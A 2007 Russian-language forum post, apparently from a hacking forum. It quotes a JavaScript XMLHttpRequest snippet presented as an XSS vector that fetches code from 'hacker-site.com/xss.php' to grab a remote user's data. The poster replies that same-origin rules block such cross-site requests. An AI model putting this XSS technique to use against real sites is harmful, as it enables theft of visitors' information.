Показать сообщение отдельно

  #9  
Старый 16.06.2007, 18:15
pento
Участник форума
Регистрация: 03.07.2006
Сообщений: 147
С нами: 10449962

Репутация: 66
По умолчанию

Цитата:
Сообщение от Constantine  
Интро
С другой стороны можно использовать обьект яваскрипт - XMLHTTPrequeset, в таком случае работает php снифер и сформированый xss вектор, который с поомощью XMLHTTPrequeset передает интересующую нас информацию об удаленном пользователе:

Код:
function HTTPRequest (url)

{

if (window.XMLHttpRequest) {

req = new XMLHttpRequest();

req.onreadystatechange = processReqChange;

req.open("GET", url, true);

req.send(null);

} else if (window.ActiveXObject) {

req = new ActiveXObject("Microsoft.XMLHTTP");

if (req) {

req.onreadystatechange = processReqChange;

req.open("GET", url, true);

req.send();

}

}

return (req.responseText);

}


var XSSCode = HTTPRequest ("http://hacker-site.com/xss.php");
А что уже можно с помощью XMLHttpRequest() делать запросы на "чужой" сайт? В смысле со страницы http://ya.ru c помощью этого объекта делать запросы на http://xacker.com?

uncaught exception: Permission denied to call method XMLHttpRequest.open

P.S. XSS вектор - какое-то странное определение...имхо

Последний раз редактировалось pento; 16.06.2007 в 18:25..